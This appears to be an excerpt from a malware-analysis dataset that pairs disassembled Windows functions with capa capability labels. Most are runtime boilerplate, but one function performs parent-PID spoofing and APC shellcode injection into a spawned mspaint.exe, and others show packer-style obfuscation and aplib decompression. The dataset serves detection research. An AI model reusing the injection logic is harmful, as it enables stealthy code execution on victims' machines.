joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a7f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140014cd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140014cd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000a860
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e30a4]
mov rbx, rcx
test esi, esi
jle 0x14000a990
mov rax, qword [0x1400e30a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000a8ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000a935
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000a890
mov rcx, rbx
call fcn.14000b2b0
mov rdi, rax
test rax, rax
je 0x14000a9b2
mov rax, qword [0x1400e30a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000b3f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e30a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000a997
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000a92e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000a940
add dword [0x1400e30a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e30a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000a92e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000a7f0
nop dword [rax]
xor esi, esi
jmp 0x14000a8b8
mov rax, qword [0x1400e30a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000a7f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000a7f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000af20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e3100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e30e0]
test rbx, rbx
je 0x14000af7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000af73
test rsi, rsi
je 0x14000af73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000af58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b2b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bd3e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b2d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b2d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b2d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000b32d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b324
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b2d0
add rax, 0x28
cmp rax, r9
jne 0x14000b310
xor eax, eax
ret

Function at 0x14000b330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bd3e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000b34f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b358
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b34f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000b3f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bd3e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000b40f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000b418
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400155d0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
xor edi, edi
mov rsi, rcx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001564b
lea rdi, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
mov rdx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140015660
lea rbp, [rsp + 0x4c]
jmp 0x14001562f
mov rdx, rdi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140015660
mov rdx, rbp
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140015620
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor edi, edi
jmp 0x140015642
Function at 0x1400782e0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078328
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400782fa
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b2bb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6f80]
jmp 0x14000c100

Function at 0x1400b2bc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6f80]
jmp 0x14000c100
Function at 0x1400b3070
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Inject apc
Resume thread
Spoof parent pid

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x240
lea rsi, [0x1400b7030]
lea rbp, [rsp + 0x100]
mov rbx, rdx
call fcn.14000a5e0
mov rdi, rbp
mov ecx, 0x27
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbx + 8]
movzx eax, word [rsi]
mov word [rdi], ax
call fcn.1400155d0
mov r8d, eax
test eax, eax
jne 0x1400b322c
lea rbx, [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rbx
mov ecx, 0xe
xor r8d, r8d
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, 1
mov rsi, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x60]
mov r9, rdi
call rsi
mov r12, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9, rdi
xor r8d, r8d
mov edx, 1
mov qword [rsp + 0xf8], rax
mov rcx, rax
call rsi
lea r9, [rsp + 0x68]
xor edx, edx
mov r8d, 0x20000
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], rbx
xor edx, edx
lea rcx, str.C:WindowsSystem32mspaint.exe
mov dword [rsp + 0x90], 0x70
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x70]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x13a
mov rcx, qword [rsp + 0x70]
mov r8, rbp
mov qword [rsp + 0x20], 0
mov rbx, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x78]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x240
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov edx, eax
lea rcx, str.PID___d_n
mov dword [rsp + 0x5c], eax
call fcn.140015b00
mov r8d, dword [rsp + 0x5c]
jmp 0x1400b30b9
Function at 0x14095c6e0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14095c867
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14095c711
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095c6f7
add dl, dl
jne 0x14095c71e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095c77e
xor eax, eax
add dl, dl
jne 0x14095c72d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095c835
add dl, dl
jne 0x14095c73e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14095c74b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14095c758
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14095c765
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14095c772
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14095c706
mov eax, 1
add dl, dl
jne 0x14095c78e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14095c79b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095c783
sub eax, ebx
mov ebx, 1
jne 0x14095c7d4
mov ecx, 1
add dl, dl
jne 0x14095c7b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14095c7c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095c7ab
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095c706
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14095c7f0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14095c7fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095c7e5
cmp eax, 0x7d00
jae 0x14095c823
cmp eax, 0x500
jb 0x14095c81e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095c706
cmp eax, 0x7f
ja 0x14095c826
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095c706
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14095c85a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14095c706
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x9f5030
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
je 0x9f5040
jne 0x9f5040
sub rsp, 0x28
mov rax, qword [rdx]
cmp dword [rax + 0x8c], 0
je 0x9f50eb
mov rsi, qword [rdx + 8]
mov edi, dword [rax + 0x88]
cmp dword [rdi + rsi + 0x18], 0
je 0x9f5088
jne 0x9f5088
je 0x499351b6
add r12, rsi
add rbx, rsi
je 0x9f50eb
cmp dword [rsi + rdi + 0x14], 0
je 0x9f50eb
mov r15, r8
mov r13, rcx
mov ebx, dword [rsi + rdi + 0x20]
mov r12d, dword [rsi + rdi + 0x24]
je 0x9f5069
jne 0x9f5069
je 0x7562afeb
and eax, 0x44e92375
mov esi, dword [rcx + rax]
Function at 0xa02790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0xa027c0
mov eax, dword [rax + 0x20]
mov dword [rdi + 0x38], eax
mov rcx, rbx
mov rdx, rsi
call r15
mov rcx, rdi
jmp 0xa02870
xor r14d, r14d
xor edx, edx
jmp 0xa028ff
mov rax, qword [rcx]
jmp 0xa0280b
push r15
je 0xa028f6
jne 0xa028f6
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
jmp 0xa028de
mov rcx, rbp
jmp 0xa028b1
mov r15, qword [sym.imp.itmkl_beo_UteNpt2HgazewrUmZvtjloS]
je 0xa027d2
jne 0xa027d2
jmp 0xffffffffffa1b34d
mov rax, qword [rcx]
call qword [rax + 0x30]
jmp 0xa02796
call qword [rax + 8]
je 0xa02914
jne 0xa02914
jmp 0xa0d508
jmp 0xa028cc
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
call qword [rax + 8]
test eax, eax
je 0xa0287d
jne 0xa0287d
por mm3, qword [rdx - 0x17]
je 0xa027ed
jne 0xa027ed
je 0xffffffff84afd62d
jmp 0xa02821
sub rsp, 0x28
mov rdi, rcx
je 0xa0290b
jmp 0xa02932
push rdi
push rbp
push rbx
jmp 0xa02845
je 0xa02920
mov rax, qword [rcx]
jmp 0xa027ad
call fcn.00a03060
jmp 0xa0295e
jmp 0x158ac90
je 0xa0293b
je 0xa0294f
jne 0xa0294f
je 0xffffffff8e243819
je 0xa02925
add byte [rax], al
add byte [rax - 0x75], cl
outsd dx, dword [rsi]
adc byte [rdi], cl
test ch, cl
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
add byte [rax - 0x7b], cl
leave
mov rbp, qword [rdi + 0x10]
je 0xa0296f
jne 0xa0296f
test rcx, rcx
jmp 0xa0285e
call qword [rax + 0x18]
lea edx, [rax + 1]
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
jmp 0xa027bb
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [rax + 0x30]
test rax, rax
je 0xa0293b
mov rcx, qword [rdi + 0x10]
je 0xa02801
jne 0xa02801
push r14
push rsi
jmp 0xa02857
je 0xa02842
jne 0xa02842
mov rcx, qword [rcx + 0x10]
je 0xa028a8
jne 0xa028a8
jmp 0x18be99d
test eax, eax
jmp 0xa02918
jne 0xa027e0
jmp 0xa0293b
xor r14d, r14d
jmp 0xa0293b
je 0xa02935
jne 0xa02935
jmp 0xa0287c
jne 0xa0290b
jmp 0xa1e77a
mov r14d, 1
mov eax, r14d
jmp 0xa02942
je 0xa0281b
jne 0xa0281b
jmp 0x38ffb69b
lea rbx, [rdi + 0x38]
lea rsi, [rdi + 0x3c]
jmp 0xa027f5
cmp eax, 1
je 0xa02892
jne 0xa02892
je 0xe5b4bb
mov rax, qword [rbp]
jmp 0xa02838
invalid
add al, ah
dec dword [rbp + 0x29]
imul r9, rbx, 0xa2c13
Function at 0xa18de0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
lea rax, [rdx + 0x10]
cmp r8d, 0x100
cmovne rax, rdx
lea r8, str.expand_32_byte_kexpand_16_byte_k
lea r9, [0x00a2fbe0]
cmove r9, r8
mov edx, dword [rax]
mov dword [rcx + 0x20], edx
mov edx, dword [rax + 4]
mov dword [rcx + 0x24], edx
mov edx, dword [rax + 8]
mov dword [rcx + 0x28], edx
mov eax, dword [rax + 0xc]
mov dword [rcx + 0x2c], eax
mov dword [rcx], 0x61707865
mov rax, qword [r9 + 4]
mov qword [rcx + 4], rax
mov eax, dword [r9 + 0xc]
mov dword [rcx + 0xc], eax
ret
Function at 0xa1ee90
Capabilities:
Hash data using sha512

Disassembly:
test rcx, rcx
je 0xa1ef1b
mov qword [rcx + 0x48], 0
mov qword [rcx], 0
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx + 8], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 0x10], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x18], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x20], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x28], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x30], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x38], rax
mov eax, 1
ret
Function at 0xa1f940
Capabilities:
Encrypt data using curve25519

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
mov edx, 0x20
mov rcx, r8
mov r8, rsi
call fcn.00a1f6b0
and byte [rsi], 0xf8
mov al, byte [rsi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [rsi + 0x1f], al
lea rbx, [rsp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.00a1c300
mov rcx, rdi
mov rdx, rbx
call fcn.00a1c280
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
Function at 0xa1f9a0
Capabilities:
Encrypt data using curve25519

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov qword [rsp + 0x28], rcx
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rsp + rax + 0x30], cl
add rax, 1
cmp rax, 0x20
jne 0xa1f9c0
and byte [rsp + 0x30], 0xf8
mov al, byte [rsp + 0x4f]
and al, 0x3f
or al, 0x40
mov byte [rsp + 0x4f], al
lea rbp, [rsp + 0x140]
mov rcx, rbp
call fcn.00a19700
lea rbx, [rsp + 0x170]
mov rcx, rbx
call fcn.00a19390
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov rdx, rbp
mov r8, rbx
call fcn.00a193b0
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.00a1b630
mov rcx, rbx
mov rdx, rbx
call fcn.00a19990
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call fcn.00a1a130
lea rcx, [rsp + 0x80]
call fcn.00a19390
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.00a19370
lea rcx, [rsp + 0x50]
mov rdx, rbp
call fcn.00a196e0
lea r14, [rsp + 0xe0]
mov rcx, r14
call fcn.00a19390
mov r13d, 0xfe
xor r15d, r15d
nop word cs:[rax + rax]
nop
mov ebp, r15d
mov eax, r13d
shr rax, 3
movzx r15d, byte [rsp + rax + 0x30]
mov ecx, r13d
and cl, 7
shr r15d, cl
and r15d, 1
xor ebp, r15d
lea rsi, [rsp + 0x80]
mov rcx, rsi
lea r12, [rsp + 0x50]
mov rdx, r12
mov r8d, ebp
call fcn.00a19540
mov rcx, rdi
mov rdx, r14
mov r8d, ebp
call fcn.00a19540
lea rbp, [rsp + 0xb0]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.00a1b630
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.00a1b630
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00a193b0
mov rcx, rdi
mov rdx, r12
mov r8, r14
call fcn.00a193b0
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.00a1a130
mov rcx, rdi
mov rdx, rdi
mov r8, rbx
call fcn.00a1a130
mov rcx, rbp
mov rdx, rbx
call fcn.00a19c20
mov rcx, rbx
mov rdx, rsi
call fcn.00a19c20
mov rcx, r12
mov rdx, r14
mov r8, rdi
call fcn.00a193b0
mov rcx, rdi
mov rdx, r14
mov r8, rdi
call fcn.00a1b630
mov rcx, rsi
mov rdx, rbx
mov r8, rbp
call fcn.00a1a130
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.00a1b630
mov rcx, rdi
mov rdx, rdi
call fcn.00a19c20
mov rcx, r14
mov rdx, rbx
call fcn.00a1ac70
mov rcx, r12
mov rdx, r12
call fcn.00a19c20
mov rcx, rbp
mov rdx, rbp
mov r8, r14
call fcn.00a193b0
mov rcx, r14
lea rdx, [rsp + 0x140]
mov r8, rdi
call fcn.00a1a130
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.00a1a130
add r13d, 0xffffffff
cmp r13d, 0xffffffff
jne 0xa1fa90
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov r8d, r15d
call fcn.00a19540
lea rdi, [rsp + 0x110]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
mov r8d, r15d
call fcn.00a19540
mov rcx, rdi
mov rdx, rdi
call fcn.00a19990
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00a1a130
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call fcn.00a1a9a0
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002f80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004010
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004010
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140003120
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000303b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400030c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003020
mov rcx, rbx
call fcn.140003a40
mov rdi, rax
test rax, rax
je 0x140003142
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003b80
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003127
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400030be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400030d0
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400030be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002f80
nop dword [rax]
xor esi, esi
jmp 0x140003048
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002f80
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002f80
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400036b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000370c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003703
test rsi, rsi
je 0x140003703
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400036e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003a40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003a60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003a68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003a60
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003abd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003a60
add rax, 0x28
cmp rax, r9
jne 0x140003aa0
xor eax, eax
ret

Function at 0x140003ac0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006980]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003adf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003ae8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003adf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003b80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006980]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003b9f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003ba8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret